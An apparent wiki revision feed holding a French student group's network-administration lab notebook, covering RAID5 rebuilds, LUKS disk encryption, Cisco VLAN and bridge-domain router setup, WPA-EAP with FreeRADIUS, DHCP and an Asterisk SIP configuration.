      [================&amp;gt;....]  recovery = 84.2% (883700/1047552) finish=0.0min speed=29456K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=================&amp;gt;...]  recovery = 87.4% (916664/1047552) finish=0.0min speed=29569K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [==================&amp;gt;..]  recovery = 93.5% (980148/1047552) finish=0.0min speed=30182K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 96.6% (1012980/1047552) finish=0.0min speed=30267K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 98.1% (1029332/1047552) finish=0.0min speed=30794K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 99.5% (1043028/1047552) finish=0.0min speed=30260K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# [ 1462.872022] md: md0: recovery done.&lt;br /&gt;
cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, on affecte un système de fichier à notre nouveau RAID sur /dev/md0, et on le monte dans /mnt: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# mkfs /dev/md0&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
Filesystem UUID: ca2b4bcd-57d3-4f12-bc49-0f7f9cb312b6&lt;br /&gt;
Superblock backups stored on blocks:&lt;br /&gt;
	32768, 98304, 163840, 229376, 294912&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done&lt;br /&gt;
Writing inode tables: done&lt;br /&gt;
Writing superblocks and filesystem accounting information: done&lt;br /&gt;
&lt;br /&gt;
root@Flash:~# mount /dev/md0 /mnt&lt;br /&gt;
[ 1486.818679] EXT4-fs (md0): mounting ext2 file system using the ext4 subsystem&lt;br /&gt;
[ 1486.878898] EXT4-fs (md0): mounted filesystem without journal. Opts: (null)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Cryptage de données=====&lt;br /&gt;
Pour crypter les données, on installe GParted et cryptsetup. Sur la SD, il ne doit y avoir qu'une seule partition. C'est ce qu'on fait grâce à GParted.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, on commence le cryptage des données sur la carte SD: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/mmcblk1p1 &lt;br /&gt;
&lt;br /&gt;
WARNING!&lt;br /&gt;
========&lt;br /&gt;
Cette action écrasera définitivement les données sur /dev/mmcblk1p1.&lt;br /&gt;
&lt;br /&gt;
Are you sure? (Type uppercase yes): YES&lt;br /&gt;
Saisissez la phrase secrète : ***************&lt;br /&gt;
Vérifiez la phrase secrète : ***************&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ouvre le volume crypté et on crée un système de fichiers avec le dossier home/ :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksOpen /dev/mmcblk1p1 home&lt;br /&gt;
Saisissez la phrase secrète pour /dev/mmcblk1p1 : &lt;br /&gt;
root@Rason:/home/pifou# mkfs.ext4 /dev/mapper/home&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
En train de créer un système de fichiers avec 3777792 4k blocs et 944704 i-noeuds.&lt;br /&gt;
UUID de système de fichiers=2c54cece-155f-44ed-b4a5-96b9429e7879&lt;br /&gt;
Superblocs de secours stockés sur les blocs : &lt;br /&gt;
	32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208&lt;br /&gt;
&lt;br /&gt;
Allocation des tables de groupe : complété                        &lt;br /&gt;
Écriture des tables d'i-noeuds : complété                        &lt;br /&gt;
Création du journal (32768 blocs) : complété&lt;br /&gt;
Écriture des superblocs et de l'information de comptabilité du système de&lt;br /&gt;
fichiers : complété&amp;lt;/pre&amp;gt;&lt;br /&gt;
On monte la partition : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# mount -t ext4 /dev/mapper/home /mnt/&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons écrit dans la carte SD, et nous avons démonté la partition et fermé la partition crypté: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Rason:/# umount /mnt&lt;br /&gt;
root@Rason:/# cryptsetup luksClose home&amp;lt;/pre&amp;gt;&lt;br /&gt;
====Travail réalisé la 8e séance====&lt;br /&gt;
=====Modification routeur pour prise en charge Wifi=====&lt;br /&gt;
Nous avons du modifier la configuration de notre routeur afin de prendre en compte notre borne Wifi. Nous avons donc rajouté le BDI1 avec comme adresse de routeur 10.60.1.1. &amp;lt;br /&amp;gt;&lt;br /&gt;
Ce BDI est un peu spécial, dans la mesure où il doit pouvoir avoir accès à tous les autres BDI. Les paquets qui y transitent ne doivent donc pas être taggés par le protocole DOT1Q (protocole VLAN). C'est pourquoi, dans notre configuration, nous avons ajouté la ligne '''encapsulation untagged''', pour éviter que les paquets ne soient taggés par le numéro de VLAN.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Sécurisation Wifi par WPA-EAP=====&lt;br /&gt;
Pour cette partie, nous commençons donc à installer un serveur FreeRadius sur notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans le fichier '''users''', nous ajoutons notre login et notre mot de passe qui nous serviront à nous connecter à la borne : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; flash Cleartext-Password:=&amp;quot;reverse&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier '''clients.conf''', nous ajoutons la configuration de la borne de la E306 :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; client E306 {&lt;br /&gt;
	ipaddr		= 10.60.1.2&lt;br /&gt;
	secret		= password&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on passe à la configuration de la borne Wifi. On se connecte en telnet via '''telnet 10.60.1.2''' : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa authentication login eap_flash group radius_flash&lt;br /&gt;
radius-server host 193.48.57.165 auth-port 1812 acct-port 1813 key kadoc&lt;br /&gt;
aaa group server radius radius_flash&lt;br /&gt;
server 193.48.57.165 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
dot11 ssid SSID_FLASH&lt;br /&gt;
vlan 6&lt;br /&gt;
authentication open eap eap_flash&lt;br /&gt;
authentication network-eap eap_flash&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 6 mode ciphers aes-ccm tkip&lt;br /&gt;
ssid SSID_FLASH&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
no ip route-cache&lt;br /&gt;
bridge-group 6&lt;br /&gt;
bridge-group 6 subscriber-loop-control&lt;br /&gt;
bridge-group 6 spanning-disabled&lt;br /&gt;
bridge-group 6 block-unknown-source&lt;br /&gt;
no bridge-group 6 source-learning&lt;br /&gt;
no bridge-group 6 unicast-flooding &lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
bridge-group 6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant configurer l'interface wlan0 de notre eeePc pour pouvoir se connecter à la borne. Comme nous n'avons pas encore de serveur DHCP, nous devons la configurer manuellement, en prenant une adresse dans notre VLAN :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;auto wlan0&lt;br /&gt;
iface wlan0 inet static&lt;br /&gt;
  address 10.60.6.6&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  gateway 10.60.6.1&lt;br /&gt;
  wpa-ssid SSID_FLASH&lt;br /&gt;
  wpa-key-mgmt WPA-EAP&lt;br /&gt;
  wpa-identity flash&lt;br /&gt;
  wpa-password reverse&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons lancer notre serveur FreeRadius en mode debug via '''freeradius -X'''. &amp;lt;br /&amp;gt;&lt;br /&gt;
On arrive bien à détecter notre SSID (SSID_FLASH) via un smartphone, et nous arrivons à ping notre eeePc depuis la machine virtuelle .&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.6&lt;br /&gt;
PING 10.60.6.6 (10.60.6.6) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=1 ttl=63 time=8.03 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=2 ttl=63 time=13.2 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=3 ttl=63 time=3.42 ms&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
====Travail réalisé la 9e séance====&lt;br /&gt;
=====Serveur DHCP=====&lt;br /&gt;
Nous avons installé le paquet '''isc-dhcp-server'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous avons modifié le fichier de configuration du serveur DHCP''' /etc/dhcp/dhcpd.conf''':&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;option domain-name &amp;quot;speedflash.space&amp;quot;;&lt;br /&gt;
option domain-name-servers 193.48.57.165;&lt;br /&gt;
&lt;br /&gt;
subnet 10.60.6.0 netmask 255.255.255.0 {&lt;br /&gt;
      range 10.60.6.10 10.60.6.40;&lt;br /&gt;
      option routers 10.60.6.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite modifié le fichier '''/etc/default/isc-dhcp-server''' pour y ajouter wlan0 comme interface à prendre en compte.&lt;br /&gt;
Nous avons redémarré le serveur en lançant '''service isc-dhcp-server restart'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
En se connectant avec un smartphone en DHCP, nous arrivons à avoir une adresse IP : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:DHCP iphone.png || center || 350px]] &amp;lt;br /&amp;gt;&lt;br /&gt;
et nous arrivons à la pinger depuis la machine virtuelle.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.10&lt;br /&gt;
PING 10.60.6.10 (10.60.6.10) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=1 ttl=63 time=81.8 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=2 ttl=63 time=132 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=3 ttl=63 time=69.4 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====PCBX=====&lt;br /&gt;
Nous avons modifiés le fichier sip.conf :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[general]&lt;br /&gt;
hasvoicemail=yes&lt;br /&gt;
hassip=yes&lt;br /&gt;
hasiax=yes&lt;br /&gt;
callwaiting=yes&lt;br /&gt;
threewaycalling=yes&lt;br /&gt;
callwaitingcallerid=yes&lt;br /&gt;
transfer=yes&lt;br /&gt;
canpark=yes&lt;br /&gt;
cancallforward=yes&lt;br /&gt;
callreturn=yes&lt;br /&gt;
callgroup=1&lt;br /&gt;
pickupgroup=1&lt;br /&gt;
nat=yes&lt;br /&gt;
&lt;br /&gt;
[6001]&lt;br /&gt;
type=friend&lt;br /&gt;
host=dynamic&lt;br /&gt;
dtmfmode=rfc2833&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
fullname=ThomasStephane&lt;br /&gt;
username=trojSmaia&lt;br /&gt;
secret=secret&lt;br /&gt;
context=work&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, nous avons modifiés le fichier /etc/asterisk/extensions.conf pour ajouter le contexte work à notre PCBX:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[work]&lt;br /&gt;
exten=&amp;gt;_6XXX,1,Dial(SIP/${EXTEN},20)&lt;br /&gt;
exten =&amp;gt; _6XXX,2,Hangup()&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous n'avons pas encore testé cette solution.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36011</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36011"/>
				<updated>2016-12-14T09:50:36Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Répartition du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Test de la configuration locale&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (17/11 - additionnel)&lt;br /&gt;
 | Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | RAID5 - Cryptage de données&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (additionnel - 7-8/12/2016)&lt;br /&gt;
 | Modification configuration routeur pour prise en charge Wifi - Sécurisation Wifi par WPA-EAP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 9 (12/12)&lt;br /&gt;
 | Configuration DHCP - PCBX&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance additionnelle (14/12/2016)&lt;br /&gt;
 | Configuration PCBX&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 1ère séance ====&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 &lt;br /&gt;
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Travail réalisé la 2e et 3e séance (2 séances) ====&lt;br /&gt;
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). &amp;lt;br /&amp;gt;&lt;br /&gt;
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration générale=====&lt;br /&gt;
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lors de sa première mise en route, nous devons effectuer sa configuration générale :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; hostname cisco config hostname&lt;br /&gt;
 enable secret reverse &amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis ensuite, nous pouvons passer à la configuration des VALNs.&lt;br /&gt;
=====Configuration des VLANs =====&lt;br /&gt;
Nous avons 12 VLANs à configurer :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 11 VLANs (2-11) : VLAN correspondant aux différents groupes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
Sur l'interface physique du 4331, il y a 3 interfaces:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/0 : disponible en cuivre et en fibre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/1: disponible en cuivre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/2: disponible en fibre&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir.&amp;lt;br /&amp;gt;&lt;br /&gt;
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt; interface GigabitEthernet 0/0/0.X &amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.&lt;br /&gt;
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi 0/0/0&lt;br /&gt;
 service instance &amp;lt;n°VLAN&amp;gt; ethernet &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons alors créer nous sous interfaces:&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
&lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
    encapsulation dot1q 3&lt;br /&gt;
    bridge-domain 3&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Configuration des bridge-domain=====&lt;br /&gt;
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge irb &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge 2 protocol ieee&lt;br /&gt;
 bridge 2 route ip&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous pouvons allouer des IP aux différents bridge domain :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;int BDI2&lt;br /&gt;
  ip address 10.60.2.1 255.255.255.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous répétons ces opérations pour tous les bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 4e séance====&lt;br /&gt;
=====Test 1=====&lt;br /&gt;
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;# PCI device 0x14e4:0x1657 (tg3)&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:40&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth4&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:41&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth5&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:42&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth6&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:43&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth7&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe.&amp;lt;br /&amp;gt;&lt;br /&gt;
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Premier essai: FAIL'''&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Test 2=====&lt;br /&gt;
Et là, c'est le drame ... On ne ping rien ...&amp;lt;br /&amp;gt;&lt;br /&gt;
On se demande donc d'où cela peut venir.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Première cause possible : La configuration de CORDOUAN======&lt;br /&gt;
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cdpr -d eth4&lt;br /&gt;
cdpr - Cisco Discovery Protocol Reporter&lt;br /&gt;
Version 2.4&lt;br /&gt;
Copyright (c) 2002-2010 - MonkeyMental.com&lt;br /&gt;
&lt;br /&gt;
Using Device: eth4&lt;br /&gt;
Warning opening device (eth4: no IPv4 address assigned)&lt;br /&gt;
Waiting for CDP advertisement:&lt;br /&gt;
(default config is to transmit CDP packets every 60 seconds)&lt;br /&gt;
Device ID&lt;br /&gt;
  value:  Switch_E306&lt;br /&gt;
Addresses&lt;br /&gt;
Port ID&lt;br /&gt;
  value:  GigabitEthernet4/13&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Deuxième cause possible: Le commutateur======&lt;br /&gt;
